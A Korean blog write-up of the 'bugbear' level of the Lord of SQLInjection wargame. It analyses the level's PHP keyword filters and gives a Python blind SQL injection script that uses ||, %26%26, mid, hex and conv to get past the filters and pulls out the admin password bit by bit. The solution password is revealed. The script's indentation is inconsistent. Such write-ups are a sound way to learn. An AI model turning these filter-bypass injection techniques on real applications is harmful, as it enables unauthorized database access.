[Lord of SQLInjection]bugbear write up

zzsla·2023년 6월 18일
0

문제 정보

없다.

문제

문제에 들어가면 위에 query와 sql명령문이 적혀있고 아래 코드가 나와 있다.

분석

get으로 요청된 no값에 prob, _, ., (), ', substr, ascii, =, or, and, , like, 0x, 요청된 pw 값에 '이 들어가면 프로그램이 죽는다. 즉 이 부분이 필터링 부분이다.

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 

그 다음은 query가 나오는데 sql 명령문이다.
명령문은 id를 찾는데 prob_bugbear라는 테이블에 있어야 하고, id는 guest이고, pw, no는 get으로 요청된 pw, no이어야 한다.

  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";

그리고 id가 있으면 Hello (찾은 id)이라고 출력이 된다.

  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 

그런 뒤에 오류 방지를 위해 $_get[pw]addslashes를 한 뒤 다시 $_get[pw]에 넣는다.

  $_GET[pw] = addslashes($_GET[pw]); 

그리고 나서 다시 query가 나오는데 sql명령문이다.
명령문은 id를 찾는데 prob_bugbear라는 테이블에 있어야 하고, id는 admin이고, pw는 get으로 요청된 pw이다.

  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 

이 query 결과에 pw가 있고, 결과로 나온 pw가 입력한 pw와 같으면 문제가 풀린다.

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 

취약점

일단 문제가 풀리는 조건을 보면 select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'의 pw값이 있어야 한다. 즉 admin의 pw값을 찾아야 한다. addslashes가 있고, Hello (id)로 true/false를 알 수 있기 때문에 blind sql injection을 사용하면 된다. 필터링을 주의해서 익스플로잇을 짜면 된다.

  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

no를 이용해서 blind sql injection을 할려면 guest, adminno를 알아야 한다. =는 필터링에 걸리기 때문에 <, >를 이용해서 no를 확인하면 adminno2이고, guest1인 것을 알 수 있다.

익스플로잇

초기값 설정

익스플로잇을 짤 때 첫 부분은 필요한 값들을 설정한다.

from requests import get

url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
header = {'cookie' : 'PHPSESSID=자신의 쿠키값'} 

pw 길이 확인

먼저 pw를 확인할 때는 pw의 길이부터 알아야 한다. 그렇기 때문에 길이를 확인하는 코드를 짜준다. 그리고 =가 필터링이 되어 있기 때문에 <, >를 사용하고, and, or, 이 필터링되어 있기 때문에 ||, %26%26를 사용하여 필터링우회를 한다.

password_length = 0

while True:
	password_length += 1
    query = f"{url}/?no=0||no>1%26%26length(pw)<{password_length}"
    response=get(query, headers=header)
    if "<h2>" in response.text:
    	password_length -= 1
    	break
print(f"password_lengh : {password_length}")

pw 길이 확인 때 실행될 sql query

select id from prob_bugbear where id='guest' and pw='' and no=0||no>1&&length(pw)<1

pw의 각 문자 별 bit 길이 찾기

pw의 문자가 어떤 문자로 이루어져 있는지 모르기 때문에 bit열로 변환해서 추출하기 전에 길이를 알아야 한다.
substr이 필터링 되어 있기 때문에 mid를 사용하고, ascii, ord가 필터링 되어 있기 때문에 hex로 16진수로 바꾼 뒤 conv를 사용해서 2진수로 바꾼다.

for i in range(1, password_length + 1):
	bit_length = 0
	while True:
    	bit_length += 1
        query = f"{url}/?no=0||no>1%26%26length(conv(hex(mid(pw,{i},1)),16,2))<{bit_length}"
        response=get(query, headers=header)
    	if "<h2>" in response.text:
        	bit_length -= 1
    		break
    print(f"bit_number : {i}, length : {bit_length}")

각 문자열 bit 길이 확인할 때 실행될 sql query

select id from prob_bugbear where id='guest' and pw='' and no=0||no>1&&length(conv(hex(mid(pw,1,1)),16,2))<1

pw의 각 문자 별 bit열 추출하기

pw의 bit열의 길이를 통해 bit열을 추출한다.

bits = ""
for j in range(1, bit_length + 1):
	query = f"{url}/?no=0||no>1%26%26mid(conv(hex(mid(pw,{i},1)),16,2),{j},1)<1"
    response=get(query, headers=header)
    if "<h2>" in response.text:
    	bits += "0"
    else:
    	bits += "1"
print(f"bit_number : {i}, bit : {bits}")

pw의 bit열 추출할 때 실행될 sql query

select id from prob_bugbear where id='guest' and pw='' and no=0||no>1&&mid(conv(hex(mid(pw,1,1)),16,2),1,1)<1

bit열을 문자열로 변환

bit열을 가지고 문자열로 변환하면 원래 pw의 값이 나온다.

password = ""
...
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

print(password)

위 과정을 합치면 익스플로잇이 이렇게 나온다.

from requests import get

url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
header = {'cookie' : 'PHPSESSID=자신의 쿠키값'} 

password_length = 0

while True:
	password_length += 1
    query = f"{url}/?no=0||no>1%26%26length(pw)<{password_length}"
    response=get(query, headers=header)
    if "<h2>" in response.text:
    	password_length -= 1
    	break
print(f"password_lengh : {password_length}")

password = ""

for i in range(1, password_length + 1):
	bit_length = 0
	while True:
    	bit_length += 1
        query = f"{url}/?no=0||no>1%26%26length(conv(hex(mid(pw,{i},1)),16,2))<{bit_length}"
        response=get(query, headers=header)
    	if "<h2>" in response.text:
        	bit_length -= 1
    		break
    print(f"bit_number : {i}, length : {bit_length}")
    
    bits = ""
	for j in range(1, bit_length + 1):
		query = f"{url}/?no=0||no>1%26%26mid(conv(hex(mid(pw,{i},1)),16,2),{j},1)<1"
    	response=get(query, headers=header)
    	if "<h2>" in response.text:
    		bits += "0"
    	else:
    		bits += "1"
	print(f"bit_number : {i}, bit : {bits}")
    
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

print(password)

코드를 실행하면 admin의 진짜 pw값인 52dc3991를 얻을 수 있다.

그리고 url 뒤에 /?pw=52dc3991를 넣으면 문제가 풀린다.

profile
[README]newbi security hacker :p

0개의 댓글